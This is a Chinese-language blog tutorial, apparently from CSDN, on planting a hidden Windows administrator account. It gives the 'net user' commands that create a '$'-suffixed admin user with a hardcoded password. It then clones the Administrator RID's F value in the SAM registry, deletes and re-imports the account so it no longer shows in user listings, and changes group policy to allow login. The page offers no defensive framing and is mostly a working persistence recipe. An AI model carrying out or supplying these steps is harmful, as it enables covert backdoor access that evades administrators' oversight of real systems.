Window隐藏账户

1.创建账户
在管理员的cm中执行命令,点击 命令提示符(管理员)(A)
请添加图片描述执行以下命令创建用户
net user test$ sxf!7890 /add
net localgroup administrators test$ /add
请添加图片描述
可以到 计算机管理>本地用户和组>用户 里看到test$用户。

2.使用命令行查看用户
在命令行输入
net user
无法看到test$用户

请添加图片描述3.打开注册表,导出test$和administrator用户注册表信息
请添加图片描述获取SAM权限
请添加图片描述
请添加图片描述获取权限后刷新(可顶部选项中查看里刷新)。

4.导出test$用户信息

导出下面键为test.reg
这里0X3EA为随机值,每台主机都会不一样
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$

请添加图片描述放到桌面便于后续操作
请添加图片描述导出test$ 的UID值
此处注意 test$ 的类型即为uid,对应Users文件夹里的000003EA文件,将该文件导出,导出文件名为uid.reg
请添加图片描述
请添加图片描述
请添加图片描述导出administrator的UID项
在windows下,administrator的UID固定为1F4,即对应Users文件夹里的000001F4文件,导出文件名为:admin.reg

请添加图片描述1、将admin_id中的F值,复制到uid中的F值
编辑uid,对桌面上的uid文件操作,右键后点击编辑
请添加图片描述
请添加图片描述删除test$ 用户,导入注册表
1、删除test$ 用户
在命令提示符里使用下面命令,删除test$ 用户
net user test$ /del
删除后导入uid,右键uid,点击合并
请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述
查看隐藏账户
使用计算机管理,查看用户,并未发现test$

请添加图片描述2、修改组策略,允许自定义用户登录
在命令提示符中输入
gpedit.msc
定位到安全选项,不显示最后的用户名,并启用
请添加图片描述注销administrator用户
使用test$ 用户登录
用户名: test$
密码:sxf!7890

请添加图片描述使用任务管理器,查看当前用户
请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值